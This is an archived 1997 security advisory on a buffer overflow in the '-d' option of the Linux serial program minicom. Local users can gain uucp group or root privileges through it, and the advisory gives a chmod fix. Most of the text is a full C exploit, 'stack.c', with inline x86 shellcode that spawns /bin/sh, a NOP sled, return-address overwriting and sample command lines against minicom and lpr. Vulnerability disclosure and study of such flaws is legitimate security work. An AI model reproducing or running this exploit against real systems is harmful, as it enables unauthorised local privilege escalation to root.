home *** CD-ROM | disk | FTP | other *** search
- well, here is another standard buffer overrun vulnerability, which may
- sometimes lead to root compromise (not always. not in new distributions,
- fortunately). Current Slackware and current RedHat don't install minicom
- suid root, only sgid/uucp, which is not *that* dangerous. But when you
- build minicom from source, it asks you to do "chmod +s" on it.
-
- Summary:
- Vulnerability in minicom allows (certain) local users to obtain group
- "uucp" privileges and, in certain cases, root privileges.
-
- Platforms:
- Supposedly all platforms where minicom is installed suid and/or sgid.
- I have tested it only on several Linux boxes (fresh Slackware 3.1 and
- fresh RedHat 4.1), and it works for me.
-
- Description:
- According to man pages, "minicom is a communication program which somewhat
- resembles the shareware program TELIX but is free with source code and runs
- under most unices".
- Minicom binary is usually owned by user "root" and group "uucp", and it
- is "-rwxr-sr-x" or, in some old distributions, "-rwsr-sr-x". Actually,
- minicom has *alot* of arbitrary size buffers and it is really easy to
- overrun some of them. At least one of these overrunable buffers is
- automatic -- an argument to "-d" option of minicom is copied into 128 bytes
- long automatic array. Thus, it is possible to overwrite the function return
- address and to execute an arbitrary code (as usually).
-
- Impact:
- If minicom is installed suid root, any user which is permitted to use
- minicom can obtain root shell. If minicom is installed sgid uucp, any
- minicom user can obtain uucp group privileges (please don't think it's
- nothing -- at least on Slackware machines /usr/lib/uucp is group-writeable.
- This means you can easily substitute uucico/uuxqt/etc with your scripts).
-
- Solution:
- Quick fix, as usually -- chmod 755 `which minicom`.
-
- Exploit:
- Below goes the exploit for Linux. After running this, you have shell with
- uid=0 and euid=your_usual_uid (if minicom is suid root) and gid=uucp
- egid=your_usual_gid. Getting real root and real uucp group permissions from
- that is really too trivial to describe here.
-
- ---( quoting file "stack.c" )---
-
- /* this stack overflow exploit code was written by jsn <jason@redline.ru> */
- /* provided "as is" and without any warranty. Sun Feb 9 08:12:54 MSK 1997 */
- /* usage: argv[0] their_stack_offset buffer_size target_program [params] */
- /* generated string will be appended to the last of params. */
-
- /* examples: stack -600 1303 /usr/bin/lpr "-J" */
- /* stack -640 153 /usr/bin/minicom -t vt100 -d "" */
-
- #include <stdlib.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <string.h>
- #include <stdarg.h>
-
- #define NOP 0x90
-
- const char usage[] = "usage: %s stack-offset buffer-size argv0 argv1 ...\n";
-
- extern code();
- void dummy( void )
- {
- extern lbl();
-
- /* do "exec( "/bin/sh" ); exit(0)" */
-
- __asm__( "
- code: xorl %edx, %edx
- pushl %edx
- jmp lbl
- start2: movl %esp, %ecx
- popl %ebx
- movb %edx, 0x7(%ebx)
- xorl %eax, %eax
- movb $0xB, %eax
- int $0x80
- xorl %ebx, %ebx
- xorl %eax, %eax
- inc %eax
- int $0x80
- lbl: call start2
- .string \"/bin/sh\"
- ");
- }
-
- void Fatal( int rv, const char *fmt, ... )
- {
- va_list vl;
- va_start( vl, fmt );
- vfprintf( stderr, fmt, vl );
- va_end( vl );
- exit( rv );
- }
-
- int main( int ac, char **av )
- {
- int buff_addr; /* where our code is */
- int stack_offset = 0,
- buffer_size = 0, i, code_size;
- char *buffer, *p;
-
- buff_addr = (int)(&buff_addr); /* get the stack pointer */
- code_size = strlen( (char *)code ); /* get the size of piece of */
- /* code in dummy() */
- if( ac < 5 ) Fatal( -1, usage, *av );
-
- buff_addr -= strtol( av[ 1 ], NULL, 0 );
- buffer_size = strtoul( av[ 2 ], NULL, 0 );
-
- if( buffer_size < code_size + 4 )
- Fatal( -1, "buffer is too short -- %d minimum.\n", code_size + 5);
- /* "this is supported, but not implemented yet" ;) */
-
- if( (buffer = malloc( buffer_size )) == NULL )
- Fatal( -1, "malloc(): %s\n", strerror( errno ) );
-
- fprintf( stderr, "using buffer address 0x%8.8x\n", buff_addr );
-
- for( i = buffer_size - 4; i > buffer_size / 2; i -= 4 )
- *(int *)(buffer + i) = buff_addr;
- memset( buffer, NOP, buffer_size/2 );
-
- i = (buffer_size - code_size - 4)/2;
-
- memcpy( buffer + i, (char *)code, code_size );
- buffer[ buffer_size - 1 ] = '\0';
-
- p = malloc( strlen( av[ ac - 1 ] ) + code_size + 1 );
- if( !p )
- Fatal( -1, "malloc(): %s\n", strerror( errno ) );
-
- strcpy( p, av[ ac - 1 ] );
- strcat( p, buffer );
- av[ ac - 1 ] = p;
-
- execve( av[ 3 ], av + 3, NULL );
- perror( "exec():" );
- }
-
-
- ---( cut line )---
-